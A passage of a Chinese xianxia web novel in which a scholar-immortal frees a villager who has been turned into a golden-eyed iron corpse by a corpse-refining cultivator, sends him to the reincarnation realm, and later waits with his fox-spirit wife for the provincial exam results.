胡翘翘和小青一起惊呼出声! 怎么,他竟然是自尽的?! “顾伯伯,你为什么要自尽啊?!”胡翘翘急忙追问。 自然,如此复杂的问题,顾父是不会回答的了。 “还有半盏茶的时间,”白袍魂差叹了口气,提醒道,“这灯笼不能保护他的魂魄太久,你们想好问题再问。” 陈子均转头看着两名魂差,问道,“两位只寻到了他,是不是意味着,另一人还活着?” “有可能,但也不一定,”黑袍魂差道,“若是死时魂飞魄散,或是变成了游魂,那么我们就没法将它接引到轮回界,也是找不到的。” 陈子均沉默了片刻,又看向顾父,“你去世之时,你儿子还活着吗?” 这问题一出,顾父魂魄的模样忽然变了。 他蓦地双手抱头,痛苦地弯下腰,仿佛在承受着巨大的痛苦,嘴巴开阖,没有发出任何声音,却似在痛苦哀嚎。 昏暗的月光下,这场景,让人不寒而栗。 小青骇然地惊呼一声,胡翘翘也觉全身发炸,险些尖叫出声。 陈子均沉默少顷,沉声问道,“你的意思难道是,你去世的时候,他在遭受什么痛苦的折磨吗?” 顾父直起身子,全身颤抖地点了下头。 “你去世的地方在什么方位!”陈子均直接道,“若说不出,指给我们看!” 顾父略带机械地抬起手,指尖直直指向了西北方向。 “大概距离这里有多远?”陈子均快速猜测,“十里、二十里、五十里、一百里……” 顾父始终不动,直到陈子均说出“三百里”时,他突然连续点了三下头,又摇了一下头。 “三百三十里左右,但你也不能太确定……”陈子均眯起眸子,”是这样吗?“ 顾父再次点头。 胡翘翘满眼小星星地望着陈子均,就差脑袋上没冒出“崇拜”两个大字了。 光是凭这几下点头摇头,相公就能猜出这么多,简直像是会读心术! 真是太厉害了! 这时,黑袍魂差道:“时间到了。” 陈子均微微颔首,“可以了,辛苦两位了。” 白袍魂差过去,将两颗雷果拾起,又敲了敲灯笼,顾父的魂魄一震,蓦地朝着陈子均深深弯了下腰,才缓缓飞了进去,而后,便再也没有动静了。 两名魂差举着灯笼,在阵法中消失。 陈子均的心中则是微微叹了口气。 顾父的魂魄看起来受损不轻,即便他有办法寻一个肉身给对方,也没多大作用了。 他又转头,望向了顾父方才所指的西北方向。 “在那个方向,距离此处约莫三百三十里远……” 此时,他察觉到衣袖被人轻轻扯动,转头一看,却是胡翘翘正眨巴着一双水汪汪的大眼睛,小心翼翼地望着他。 “相公,我飞过去的话,也就一刻钟的时间……要不,相公在这儿等着我,我去看一眼?” 胡翘翘的声音又轻又柔地说。 虽然顾父表示,他去世之时,顾行天在受着什么极为痛苦的折磨,但这也代表着,顾行天当时还没死! 所以,她的心中还抱着一线希望,万一,顾行天现在还活着呢? 她心底深处,也有担忧,因为还不确定相公是不是真的不是凡人,为了安全起见,还是自己一个人去的好。 当然了,如果相公不同意,那还是以他的意见为主。 “我速度很快的,去去就回,相公放心,我不会乱来的!” 陈子均微微一怔,然后摇了下头,“你一人前去我不放心,要去,便一起去,无论发生何事,我与你夫妻一体,都该共同面对。” 语气温柔,却不容置疑。 胡翘翘心中一甜,“好,那我们就一起去!” 陈子均见她答应了,便又道:“时候也不早了,我们先休息一晚,明早再去吧。这件事发生这么久了,也不在乎这半个晚上,先养精蓄锐,再去打探虚实,万一到时候遇到什么麻烦,也有精力应对。” 胡翘翘抿抿唇,超级乖巧地点了点头,“嗯,都听相公的。” 因为夜色已深,夫妻俩就睡在了牛车里。 等胡翘翘睡熟,陈子均小心翼翼地将她的小脑袋从他臂弯中移开,接着,他指尖轻点,一道淡淡的金光没入胡翘翘体内,形成一道保护禁制,将她笼罩其中。 做完这一切,他出去,看向一旁的小青,吩咐道:“注意她的安全,我出去一趟,天亮之前便回。” 小青自然知道他要去哪儿,恭敬地应道:“是,公子。” 陈子均点点头,看向了西北方向。 夜风习习,吹动他月白色的衣袍,更衬得他身形挺拔如松 ,宛若谪仙。 一步迈出,便消失在了夜色之中。 第144章 金眸铁尸 地下,某间囚室。 这囚室的四壁皆由厚重的金属板打造,没有窗户,阴暗冰冷。 囚室的中央,锁链碰撞的轻响在寂静中格外刺耳。顾行天被粗大的铁链缚住四肢,吊在半空,随着锁链的晃动微微摇摆。他的衣衫早已破烂不堪,露出精瘦却伤痕累累的身体。 此刻的顾行天,似乎已经是一具尸体,因为正有无数怪虫在他的身上蠕动,甚至在他的七窍之中钻进钻出。 但他似乎又没有死,因为他身子还在颤抖,双眸还圆睁着,怒火如岩浆般在其中翻滚,死死盯着前方那道身影。 若是目光能杀人,眼前的这人,必然已经被他千刀万剐。 那是一个身穿黑袍,面色阴鸷的中年人,此时,他看着顾行天的目光,宛若在看一件稀世珍宝。 “身为凡人,却有这般强大的肉身,甚至能在我的炼化下坚持一个月,仍能保持神智,与魔性对抗,简直是天生炼制铁尸的绝佳材料!”他面上带着欣赏之意地说着,手中还在丝毫不停打出无数萦绕着黑气的符文,轰入顾行天的眉心。 在他的身后,还站着数个神情呆滞的“人类”,如同护卫一般,只是每一个都带着极为强大的气息。 同时,黑袍人又轻叹一声,道,“就连之前的那头血尸,虽然也算稀有,我也只是将其埋在极阴地的棺材里,任它吸收阴气和血液精华,慢慢成形。只有你这般极品的材料,我才会倍加珍惜,亲自出手,甚至不惜耗费我自己的修为,加快炼制。你也应该感到荣幸才对,何必再顽抗呢,乖乖做我的尸傀,不是很好么?” 随着符文的轰然传入,顾行天精瘦的身子剧烈的颤抖起来。 这些符文,竟然使得他体内的魔性又强大了几分,疯狂地要占据他的命魂,吞噬他的神智,抹杀他的记忆,将他变成一具没有思想的行尸走肉。 剧烈的痛苦如潮水般涌来,顾行天忍不住发出一声闷哼,他的身子剧烈颤抖,眼中闪过挣扎与迷茫,脑海深处,一些残缺的画面如走马灯般闪过。 那画面里,有他出生没多久便去世的母亲,慈祥的面容仿佛还在昨日; 有将他一手拉扯大,教他打猎的父亲,粗糙的大手曾带给他无尽的温暖; 还有那个总是带着羞涩的邻家女孩儿,一声声的喊着“顾大哥”…… …… 这些支离破碎的画面,是他永远也无法甘心被抹去的东西…… 突然间,又有一幕破碎的记忆再次浮现。 他和父亲误入了一片阴森可怖的密谷,忽然出现了大量古怪的行尸。 以他的实力,原本能独自逃出,但却为了保护不慎扭伤了脚的父亲,陷入困境。 “不要管我了,快走吧行天!” 父亲决绝的眼神,撕心裂肺的怒吼,以及那支狠狠插入他自己胸膛的箭矢,每一个细节都如刀割般刻在他的脑海。 为了不再成为他的拖累,父亲选择了自我了断。 “爹……”顾行天痛苦地呢喃。 为了他,父亲舍弃了生命,但他却依旧落入了这恶人的手中,要被对方炼制成什么铁尸…… 在这痛苦的记忆中,他的双眼之中,直接便有鲜血流出,顺着脸颊滴在了身上。 “我怎么能忘……我怎么能忘……” 他的脑海中回荡着这句话,声音越来越大,最终化作一声声悲愤的咆哮。 “不,我绝不会认输,绝不!!!” 黑袍人冷冷地看着这一切,嘴角勾起一抹残忍的弧度。 “可惜,可惜,你再如何顽强,最终也抵抗不过我们尸阴宗的秘法,已经开始了从人到尸的转变。”他一边说着,一边继续将符文打入到顾行天的体内,“你看,这些尸虫已经感觉到了你身上的尸气,它们最喜欢的就是尸气旺盛之处……快了,就快了……最多再有一刻钟,你便要彻底化为尸魔,更会成为一具比血尸更为强大的铁尸!以一敌百,也不是问题!” “看我以血肉为炉,以魂魄为引,为你炼就金刚不坏之身!” 随着他手中的符文一个个的打出,顾行天愤怒的声音,也渐渐虚弱下来。 他的双眼露出极度的挣扎,可这挣扎,也开始渐渐黯淡…… …… …… 巨舟破云,如同一柄利剑,将平静的天幕撕开一道裂缝。 舟身之上,影影绰绰,数十道人影鱼贯而出,而后轻轻落在地面上。 为首两人,一位是身穿青山宗法袍的老者,仙风道骨,颇具宗师气度,正是青山宗的一位长老;在他身旁,和他并肩而行的则是长陵城五行宗的那名中年美妇,。 在两人的身后,还各自跟着两宗的几名小辈弟子。 “师姐,你说我们今晚真的能抓住那个炼血尸的邪修么?”石珊珊压低声音,又是兴奋,又是紧张地问身旁的许曼。 许曼还没答话,一边的林清耳尖,已经听到了,当即道,“哈哈,你这话也太可笑了,两名魂宫境的大修士联手对付一个炼尸的变态,怎么可能抓不住?” 石珊珊翻了个白眼,没好气地道:“我又没和你说话,要你多嘴多舌。” 许曼见 状,连忙打圆场,“好了好了,肯定没问题的,不然,柳长老也不会放心带我们来的。” 原来,上次血尸事件发生后,镇魔塔对此事极为重视,经过这两个月的多方调查,并请天师宗的一位星主出手卜算天机,终于确定了对方的真实身份和藏身之所。 因为对方身在长陵省内,因此,剿灭对方的任务,自然便落在了青山宗和五行宗在长陵城的两位负责人的身上。 两位长老都是魂宫境的大修士,对付一个邪修自然不在话下。 之所以带上这些小辈弟子,也是为了让他们借此机会,增长一些见识和临敌的经验,以便将来能够独当一面。 此时,他们的身上已提前贴好了防止神念窥探的符咒,所以不必担心会触动对方的神念,打草惊蛇。 “且慢。”那中年美妇突然伸出手,示意众人停下脚步。 她神情微凛,目光落在前方,轻声道,“前方有个禁制,如果不小心触动,就会直接惊动对方。大家先等一会儿,我来解除它。” 原来她主修的也是五行宗的土系功法,而土系修士除了操控土系元力之外,对于阵法、禁制、风水等方面,多半也有着极高的造诣。 中年美妇沉吟片刻,便推算出了这禁制的破解之法。 而后,她双手翻飞,掐动法诀,几道黄光顺着她的指尖射出,没入前方的迷雾之中。 “好了。” 片刻之后,迷雾翻滚,渐渐散去。 一股令人作呕的恶臭便扑面而来,山谷上空被一层灰蒙蒙的雾气笼罩,阴风阵阵,隐隐约约还能听到令人毛骨悚然的嘶吼声。在夜色中显得格外阴森可怖。 “什么味儿啊,太臭了吧!”石珊珊捏住了鼻子,恶心得快要吐出来。 “这是尸臭。”中年美妇又提醒道,“还有那风,不是普通山风,是由某种阵法产生的,能透过肉身,伤害神魂之恶风,大家尽快运转心法抵抗,否则可能被那风吹伤命魂。“ 一听这话,众人立刻打起十二分警惕,各自运转心法,抵御那阴风。 青山宗长老的目光,扫过夜幕下散落各处的黑色棺材,沉声道:“切勿轻举妄动,那些棺材里很可能封印着尸魔,它们对生气和阴气极为敏感,稍有不慎就会惊动它们。” 他召唤出一个手握长矛的鬼奴,指挥着它,缓步朝着其中一具黑色棺材走去。 果不其然,在鬼奴靠近棺材三步距离时,那棺材的盖子“砰”的一声炸裂开来,一双乌黑的手爪猛地探出。 一个全身呈现青黑色的怪人,从棺材内坐了起来。 它的五官外表和人类区别不大,但皮肤青黑,一双瞳孔则是一种死灰的颜色,空洞无神,令人不寒而栗。 中年美妇压低声音,对众弟子说,“这是一具最低级的灰眸尸魔,又叫行尸,它神智很低,几乎是完全依靠本能行事。” 只见那具行尸略带机械地扭头,猛然间厉叫一声,朝着鬼奴的方向扑了过去。 鬼奴身形飘忽,灵巧地躲过行尸的攻击,同时挥舞着手中的长矛,狠狠刺向行尸。 尸魔的体表虽极为坚硬,但这鬼奴的实力不弱,而这个尸魔又是最低级的灰眸行尸,所以这一矛,直接将其胸口扎了个不小的窟窿。 但尸魔却像是毫无知觉一般,继续朝着鬼奴扑去。 “你们看,尸魔是尸体所化,所以和活着的生物不一样,他们几乎没有要害,也没有疼痛之感。”中年美妇说。 这时,青山宗的长老控制着鬼奴不再躲闪,任凭那尸魔扑在它的身上。 只见尸魔的嘴角边伸出两颗尖锐的尸牙,咬在鬼奴的脖子上,用力吞咽后者的阴气,顿时,鬼奴的身子颤抖起来,一缕缕阴气从他的体内流出,飞快地钻入尸魔的体内。 “尸魔喜欢阴气,也喜欢活物的生气,他们几乎什么都能吞噬。”青山宗长老说完,他心念微动,操控着鬼奴,猛然一下震开尸魔,然后用长矛攻向尸魔的眉心,“记住,他们唯一的弱点在眉心位置!” 中年美妇也同时出手,一个石人轰然而动,巨大的拳头狠狠砸向尸魔的脑袋,“因为他们唯一的弱点就是魂魄,他们的魂魄被锁住肉身里,只有破坏了魂魄,他们才能死亡!” 对于这两位大修士来说,要杀死眼前这个灰眸尸魔,完全不费吹灰之力,但此刻他们是想借着它,让弟子们对尸魔的习性多几分了解。 身后的十几个弟子果然各个聚精会神,生怕错过了任何一个细节。 在鬼奴与石人的联手攻击下,很快,那尸魔的脑袋裂开,轰然倒地。 “对低级尸魔来说,它们还有一个惧怕之物,那就是各种至阳至刚之力。” 中年美妇刚说完,青山宗长老便接着道,“只有高级尸魔才可以在阳光下自由行走,不惧太阳真火造成的伤害。” 战斗之中,鬼奴的行动难免惊动了更多的尸魔,只见一个接一个的棺材盖,陆续的碎裂开,一双又一双尸爪,从棺材内伸出,这些尸魔一出现,立刻跃起,冲向鬼奴。 鬼奴再强,也双拳难敌四手。 何况这不是四手,是数十只、数百只手。 转眼间就 几乎被撕碎。 青山宗长老连忙掐了个法诀,将那残缺的鬼奴收起。 失去了目标之后,这些扑出来的尸魔茫然的看着四周,站在那里许久后,才慢慢地又爬回了自己的棺材中。 小修士们震惊的看着眼前的一幕,个个头皮发麻。 “这还只是最低级的灰眸尸魔……” “要是遇到高级的,那还怎么得了……” “难道这里的每一个棺材里面,都有一个尸魔吗?” “居然有这么多?!”石珊珊疑惑地看向中年美妇,“姑祖母,尸魔的炼制之法很容易吗?不然,这里怎么会有这么多呢?” 中年美妇摇了摇头,“正相反,尸魔的炼制要求相当苛刻,必须是当天刚死的尸体,甚至是利用活人炼制,这样才能保持魂魄不离开肉身,除此之外,还要对方符合一定的条件,才能炼成。” 闻言,不少人倒吸了口冷气。 “您的意思是……”许曼喃喃道,“对方为了炼制这些尸魔,很可能大肆屠杀无辜之人,甚至……用活人炼制?!” 中年美妇点了点头。 “这也太没人性了!”林清怒道。 “尸阴宗的人为了得到一具合适的炼制尸魔的尸体,往往不择手段,他们不断寻找合适的目标,再将炼成行尸、毒尸、血尸、铁尸等等各种尸魔,各种罪行罄竹难书,天怒人怨……”青山宗长老道,“正因此,正道才在数百年前,联合多个宗门之力,清剿了尸阴宗……不过,现在看来,应该是还有漏网之鱼,又或许是有人得到了他们的传承。” 石珊珊又问:”他炼这么多尸魔有什么用啊?“ “哼, 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那血珠仿佛带着诡异的魔力,迅速渗入了顾行天的额头,而他原本苍白的脸庞,瞬间浮现出诡异的青黑色。 “成了!”黑袍人喃喃自语,眼中闪烁着兴奋的光芒。 他能够感觉到,自己和顾行天之间,建立了一种难以言说的联系,就好像他是自己身体的一部分一般,可以随意操控。 “睁开你的双眼!” 顾行天缓缓睁开双眼。 他的瞳孔已经变成了诡异的金色,眼白部分也泛起一层淡淡的金光,宛如两颗金色的宝石,闪烁着冰冷的光芒。 “主人……他的声音沙哑低沉,不带丝毫感情。 “哈哈哈,竟然是金眸铁尸!不愧我耗费了如此多的心血和修为!”黑袍人狂喜。 铁尸已是尸魔中少有的强大存在,金眸更加难得,实力和潜力都远超寻常铁尸,他炼制过那么多尸魔,这还是第一次炼成! “好!好!”黑袍人兴奋地来回踱步,仿佛已经看到自己操控着这具强大兵器,横扫一切的场景。 他迫不及待想见识一下金眸铁尸的威力,略一沉吟,便指挥着身后一个同样是金眸的普通尸魔,说道,“去,试试他的力量!” 那金眸尸魔发出一声嘶吼,五指如钩,泛着森森寒光,朝着顾行天猛扑过去。 “让我看看你的本事!”黑袍人看着顾行天,脸上带着一丝残忍的笑意。 这个尽管只是普通尸魔,但身为金眸尸魔,依旧力大无穷,刀枪不入,寻常金身境修士的全力一击,也只能在它身上留下少许轻伤。 顾行天缓缓抬头,金色的眼眸中闪过一丝寒芒,他猛地探出手,一把抓住了那尸魔的脑袋。 五指如同铁钳一般死死扣住。 “咔嚓!” 一声令人毛骨悚然的骨碎声响起,那金眸尸魔的脑袋,竟然被顾行天硬生生捏爆了! 黑袍人见状,非但没有生气,反而激动地浑身颤抖。 “哈哈哈!好!不愧是铁尸!” 这等实力,已经远远超出了他的预期! 他贪婪地盯着顾行天,仿佛在欣赏一件绝世珍宝,“从今天起,你就叫……无心!你要记住,你存在的意义,便是服从我!” “是,主人。”顾行天机械地应了一声,金色眼眸古井无波,没有一丝情感。 墓室中弥漫着令人作呕的血腥味,黑袍人却越发兴奋难当。 “你放 心,我会再去寻找更多的神金神铁,帮你进一步提升实力……” 就在黑袍人得意忘形之际,密室的角落里,空间一阵扭曲,如同水波荡漾开来,随后一道修长的身影浮现而出。 那是一个俊美温润的年轻书生,不过弱冠之龄,一身青衫纤尘不染,眸光深邃,仿佛能看透人心。 他的目光落在顾行天的身上,眉头微蹙,轻声自语,“还是来晚了一步……” 黑袍人被这突如其来的声音吓了一跳,猛地转过身,看到陈子均,顿时脸色大变。 “你、你是什么人?!” “取你命的人。”陈子均笑了笑。 黑袍人脸皮一抖,露出狰狞之色,“想要我的命?!无心,给我杀了他!” 顾行天得到命令,没有任何犹豫,如同离弦之箭般冲向陈子均。 这窄小的石室中,几乎是眨眼便到了陈子均的面前,同时,手指成爪,一下握向陈子均的头顶。 黑袍人则是在一旁得意地狂笑,他仿佛已经看到陈子均像方才那个金眸尸魔一样,脑袋被一把捏爆的场景。 “真是可惜了……”陈子均轻叹一声,眼中闪过一丝怜悯。 他本想救下顾行天,但现在看来,顾行天已经神智尽丧,再无挽回的余地。 正要出手,意外陡生。 只见,顾行天那只即将触碰到陈子均头顶的手,在距离陈子均的头发丝,仅仅只有不到一寸的地方,动作忽然停了下来。 那双金色的眼眸中闪过一丝挣扎,仿佛有一股无形的力量在拉扯着他的灵魂,让他无法再前进半步。 “嗯?”陈子均也有些意外,他原本以为顾行天已经彻底失去了理智,没想到,他心中竟然还残留着一丝清明。 “看着我的眼睛。”陈子均的声音仿佛带着某种魔力,缓缓渗透进顾行天的脑海。 顾行天不由自主地抬起头,与陈子均四目相对。 “你还记得我吗?” 那一瞬间,顾行天感觉自己的灵魂仿佛被一只无形的大手猛地拽了一下,眼中闪过一丝迷茫。 “我……我……”顾行天张了张嘴,想要说些什么,却什么也说不出来。 他感觉自己的脑袋像是要炸裂一般,两种截然不同的意志在他的脑海中激烈碰撞,让他痛苦不堪。 “你是……谁?”他艰难地开口问道,声音沙哑。 “我是陈子均。” 陈子均,又是谁…… 第145章 顾行天告别 “无心,你在干什么,杀了他!”黑袍人厉声吼道。 顾行天却仿佛没有听到般,只是盯着陈子均,心中浮现出一丝迷茫和挣扎。 他是谁,自己又是谁? 金色的眼眸中,血光与清明不断交替,仿佛有两股意志,正在他的体内进行着激烈的交锋。 倏忽间,他的脑海中浮现出一些模糊的画面。 他好像见过眼前这个人,他好像救过什么人,还对自己很好…… 顾行天艰难地抬起头,带着挣扎和痛苦的吐出几个断断续续的字。 “公……公子……” 他想要控制自己的身体,却发现自己根本无能为力。 陈子均突然伸出手指,点在了顾行天的眉心处,轻声道。 “我来助你一臂之力!魔性,散!” 一道青光从他的指尖射出,没入了顾行天的眉心。 那黑暗的魔性,瞬间退潮般的散去,理智瞬间占据上风。 顾行天蓦地转身,金眸中充满愤怒与杀意,死死地盯着那个黑袍人。 黑袍人面色大变,这铁尸竟脱离了他的控制?! “怎么回事?一定是哪里出了问题!”他心中惊怒交加,却完全没有将顾行天的反水与陈子均联系起来。 毕竟,数千年来,尸阴宗的秘术从未有过失手的先例,他下意识地认为,是自己方才在炼制之时,不慎出现了什么纰漏。 顾行天猛地一拳挥出,带着愤怒和杀意,恐怖的力量瞬间将黑袍人笼罩。 “给我拦住他!但注意,不要将他伤害得太严重!”黑袍人立即催动身后的另几具尸魔。 顾行天虽被炼为了铁尸,但这几具尸魔也不弱,联手之下,阻拦顾行天的行动绰绰有余,他就能尝试再次重新控顾行天。 毕竟一头金眸铁尸炼制不易,他自然不甘放弃。 但,毫无反应! 身后的几具尸魔,此刻竟然没有一个响应他的命令! 黑袍人不知道发生了什么事情,也顾不上回头,因为,此时的顾行天已经冲到了他的面前! 来不及细想,他连忙祭出一面骨盾法器,挡在身前。 “砰!” 顾行天势大力沉的一拳狠狠地砸在骨盾之上,骨盾顿时光芒乱颤,出现了几道裂纹。 端的是刚猛无铸! 黑袍人心惊肉跳,亲身体验,他才感受到金眸铁尸的力量何等惊人,这骨盾本是他花了大价钱弄到的护身法器,但现在看起来,在对方的拳头下,根本撑不了多久。 “你们还愣着干什么!上去拦住……”他心中惊怒交加,猛地转头看向身后,尖利的吼声蓦地顿住。 只见那几具原本凶戾可怖的尸魔,此刻竟然齐刷刷地匍匐在地,浑身颤抖。 而他们的目光,则齐刷刷地汇聚在陈子均身上,充满了恐惧和敬畏,仿佛是在仰望什么至高无上的存在一般。 不,这不可能! 黑袍人心头巨震,简直不敢相信自己的眼睛。 这究竟是怎么回事? 砰砰砰! 与此同时,顾行天一拳拳疯狂地不断轰出,那面骨盾终于不堪重负,“咔嚓”一声碎裂开来,化作无数碎片飞溅而出。 黑袍人顿时肝胆俱裂,大惊失色! 尸阴宗虽然擅长炼尸驭尸,但战斗都是依靠尸傀,若是单打独斗,却并无多少手段。 还没等他想到该如何应对,顾行天那饱含着滔天怒火的拳头,已经裹挟着风声,呼啸而至! “不……” 黑袍人惊恐地瞪大了眼睛,想要说些什么,却已经来不及了。 “砰!” 他的脑袋直接被这一拳,轰成了漫天血雾。 死得不能再死。 顾行天站直了身子,低头看了看自己的拳头,金属质感的肌肤泛着冰冷的光泽。 心中没有丝毫的喜悦,反而涌起一股深深的悲凉。 缓缓转头,看向不远处的陈子均,顾行天的眼中亦满是复杂的情绪。 他同样从陈子均的身上感觉到了一种无形的威压,那是一种上位者对下位者的天然压制,是源自某种本能的存在,让他也有一种冲动,像另外那几个尸魔一样,跪下去,向公子俯首称臣。 他不明白这是为什么,也不知道公子究竟是什么身份,但是他知道,是公子又一次救了他。 他想说些什么,表达自己的感激和忠诚,却又不知该如何开口,最终,只是沙哑干涩地问道,“公子,你怎么会……” 陈子均目光微动,神识范围内,青山宗和五行宗的人正朝着这边赶来。他可不想和他们浪费时间,当即不动声色地道,“有人来了,我们先离开再说。” 至于那几个尸魔,留给他们去对付,应该问题不大。 不等顾行天反应过来,陈子均已经一把抓住他的胳膊,身形一闪,两人便消失在了原地。 片刻之后,两道人影几乎同时冲入密室,正是那青山宗长老与那五行宗的中年美妇。两人立即发现了剩下的那几个尸魔,不由分说,联手发动攻击,法术如狂风暴雨,很快将那几只尸魔杀死。 待到尘埃落定,两人 才发现了那黑袍人的无头尸体,顿时惊愕不已。 以他们的实力和眼力,自然看得出,对方便是他们这次来的目标——那炼制尸魔的邪修。 只是,对方怎么会横尸在地? 究竟是什么人,竟能在不惊动这几个尸魔的情况之下,杀死他? 这些问题,让他们陷入了深深的困惑之中…… …… 而此刻,陈子均与顾行天已身处在了清平镇外的一片密林之中。 “公子……”顾行天望着眼前熟悉的景象,眼中闪过一丝茫然和无措。 “事情是这样……”陈子均将事情简单说了一遍。 顾行天听完,顿时跪倒在地,“公子,你又救了我……” 陈子均看着他,平静地说道:“起来吧,你我之间,不必如此客气。” “公子,我……我还能……” “我知道你的意思,你想知道,自己还能不能变回原来的样子,是么?” 顾行天点点头,眼中燃起了一丝希冀。 陈子均沉默片刻,叹了声气。 “你现在虽能说话,能动,却只是因为,你被炼制成了尸魔,换而言之,现在的你,已经是个死人了。” “死……人?” 顾行天下意识地低头看了看自己的双手,青黑冰冷的肌肤,确实不像是活人该有的样子。 “不错,”陈子均接着道,“尸魔,说白了就是用活人的尸体炼制而成,以秘法操控的傀儡,它们体内阴阳颠倒,而且三魂和六魄已经彻底结合在一起……想让你重新变回人类,比传说中的起死回生还要困难。” 人有三魂七魄,三魂主精神,七魄主肉身。 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“现在的你已经不适合待在清平镇了,你还没有学会自如控制体内的尸气和魔气,若是与凡人过多接触,不但会吓到他们,甚至还会伤害到他们。所以,你必须离开这里。” 顾行天闻言,怔愕住了。 “我知道这对你来说很难接受,但事已至此,你也没有别的选择。”陈子均说,“我会送你去一个更适合的地方,在那里,等你学会了控制尸气和魔气,再回来。” “公子说的是,我这就离开清水镇。”顾行天深吸了一口气,“只是……我想先回一趟家,收拾一下东西。” 陈子均点了点头:“我送你过去吧。” 回到家中,顾行天收拾了一些自己的衣物,再拿起父亲生前最爱用的烟斗,摩挲许久。 自己的父亲,那个老实巴交的猎户,那个为了让儿子逃走,宁愿牺牲自己生命的男人。 他想流泪,可是他却发现,自己无论如何也流不出眼泪了,只剩下一种极度的痛苦。 过了片刻,顾行天抬手,抹了下干涸的眼角,将烟斗塞进怀中,又拿了一些可能用到的东西,这才依依不舍地锁上了房门。 离开家门后,顾行天转身朝着另一个方向走去。 陈子均并没有阻止,他知道,顾行天是去和柳燕梅告别了。 果然,顾行天走到柳家门前,便停下了脚步。 他静静地站在那里,目光透过院墙,仿佛能透过院子,看到里面的一切。 实际上,在被炼为铁尸之后,他的五感也得到了极大的加强,他甚至能听到,柳燕梅睡得不那么安稳,在床上辗转的声音。 或许,她是连在梦中,都在担心他吧…… 顾行天知道,这一走,或许,他就再也回不来了。 再见了,燕梅妹子! 许久之后,他才收回目光,转身回到陈子均的身边,低声说,“公子,我好了。” 陈子均点了点头,没有说话,只是伸出手,指尖轻点虚空,一道漆黑的裂缝便出现在两人面前。 裂缝的另一边,是一片灰蒙蒙的空间,阴气弥漫。 “这是……”顾行天有些疑惑。 “轮回界。”陈子均说,“轮回界中阴气浓郁,更适合现在的你。而且,那里没有人类修士,你可以不被发现,安心修炼,等你什么时候能够控制住你身上的尸气和魔气了,我再想办法让你回来。” 顾行天咬了咬 第146章 乡试放榜 凡人时常仰望天空,但极少有人知道,天穹之上,并非永恒的虚无,在其虚实交织之处,存在着一方神秘界域。 此界浩瀚,不可名状,它随着宇宙的呼吸而缓缓膨胀和收缩,边界模糊不清,时而融入黑暗的虚空,时而又在星光的照耀下显现出璀璨的光芒。 此界深处,有一片悬浮在虚空的广袤大陆,其上,有一座古老的神宫静静伫立。 它的外观呈现出完美的对称性,每一块石砖、每一道梁柱都按照精确的比例排列,没有任何多余的装饰。 正殿内,一座巨大的圆盘悬浮在其中,缓慢旋转,散发着古老而神秘的气息。 它的材质非金非玉,而是一种介于实体与虚无之间的物质凝聚而成,盘面如太极图,黑白二色交融,阴阳流转,仿佛蕴藏着宇宙至理。 盘面光滑如镜,却并非反射出景象,而似是映出世间百态,芸芸众生。 仔细看去,那画面中人影攒动,却又看不真切,仿佛隔着无限时空。 在圆盘边,静静地站立着一个白袍灰发的少年。 他的样貌极为奇特。 似是绝对完美,又似是绝对平凡。 五官的每一处,都是一种极致完美,嘴角的弧度、鼻梁的直挺、眼睛之间的距离,甚至连每一根发丝,似乎都经过了最精确的计算,没有任何错误,是绝对的对称、完全的和谐。 却又是一种模糊到了极点的平凡,就如一缕风、一道阳光,寻寻常常,普普通通,将他放在任何地方,都无法引起他人的注意。 “老蜥蜴,老蜥蜴!” 人未到声先至,紧接着,一道略显圆润的身影从殿外冲了进来。 少年这才缓缓转过身,目光落在来人身上,语气平淡中带着一丝无奈:“你怎么来了?” 那人站直了身子。 “哎呀,老蜥蜴,几万年不见,你这神殿还是这么……嗯,朴素!”圆脸修士四处张望了一下,目光落在那缓缓旋转的圆盘上,眼中闪过一丝贪婪,但很快便掩饰了过去,看着少年道,“我找你有事!” 少年眉头一皱,下意识地往旁走了一步,挡住了他看向那圆盘的视线,而后,才平淡地说,“道树我已经给了你一株,时光沙我也所剩无几,天慧灵液这万年我才攒了几百滴,至于轮回盘……你休想打它的主意!” “哎哟喂,老蜥蜴啊,咱俩什么关系,你就不能对我有点基本的信任吗?”圆脸修士故作痛心地捂着胸口,接着,神色一正,“不开玩笑了,我这次来,不是冲你的宝贝来的,真的是有要紧事儿和你说!” 少年这才问道,“什么事。” 等圆脸修士说完,少年深邃的眸光略微闪烁了一下,淡淡道:“你确定,他使用的是洛书的力量?” “废话,我又不是没见过洛书,怎么可能搞错,”圆脸修士哼了一声,又皱眉,“当年神魔大战后,伏羲出了事儿,洛书便不知下落,它是神器,连你也感应不到它的存在,没想到过了几万年,居然又出现了。更古怪的是,我明明记得,只有伏羲才能操控洛书,那家伙难道是伏羲的儿子么,不然怎么……” 少年沉默,眸中星辰流转,片刻后,他缓缓地摇了下头,“不,还有一种可能……” 圆脸修士一愣,“什么可能?” 少年没有回答,只是转过身,注视着那面圆盘,喃喃道,“还不能确定,我会找个机会,去见一见你说的那人……” “哎呀,老蜥蜴,你方才说,天慧灵液你又攒了几百滴?那个,分我一半?” “你休想。” “别这么绝情嘛,三分之一也行……” …… …… 时间飞逝,转眼间已到九月中旬。 长陵城进入了深秋。 而明天,便是乡试放榜的日子。 乡试的榜单亦称为“桂榜”,考上了榜的就是举人。 至于排名,乡试的第一名被称为解元,第二名被称为亚元,第三名至第五名被称为经魁,第六名被称为亚魁,第七名以下则统称为文魁。 而只有曾中过乡试的举人,才有资格再去京城,考次年二月的春闱。 一整天,胡翘翘都坐立不安。 在她叹了今天的第一百零八口气之后,小青终于忍不住了。 “翘翘姐,你就放心好了,公子肯定能考上的。” “唉——”胡翘翘坐在桌前,小手托着香腮,又一次幽幽地叹了口气,“相公他读书那么厉害,我也相信他的真实水平是一定能考上的,只是……” “只是什么?” “万一那些考官老眼昏花,没看清,将相公给刷下来了怎么办?又或者,有人作弊,将相公挤下去了怎么办?”她一脸忧愁,“相公读了那么多年的书,万一明天一看,居然没能上榜,他该多失望呀。” “……”小青凑近过来,压低声音,“要不这样,现在榜单必然定下来了,今晚夜间,等到考官们都睡了,我们偷偷溜到贡院,看一眼……” 胡翘翘一怔,“要是看过了,上面没有相公名字,怎么办?” “没有,那就帮公子换上去!” “换、换上 去?这样行吗?” “怎么不行?那榜单上那么多人,换掉一个名字打什么紧,谁会注意……哎呀!” 小青还没说完,后脑勺就挨了重重的一记爆栗。 眼泪都快疼出来了。 “别给我娘子出些馊主意。”陈子均板着脸,瞪了她一眼。 青蛇捂着脑袋,委屈巴巴,“公子,怎么就馊主意了?” 陈子均道,“你当草榜是摆设么?每份正榜都会有不止一份的草榜做备份的,而且那么多份试卷,考官们批阅过后,心里都有数,就算真让你换了名字,难道他们还能发现不了?” 小青:“……” 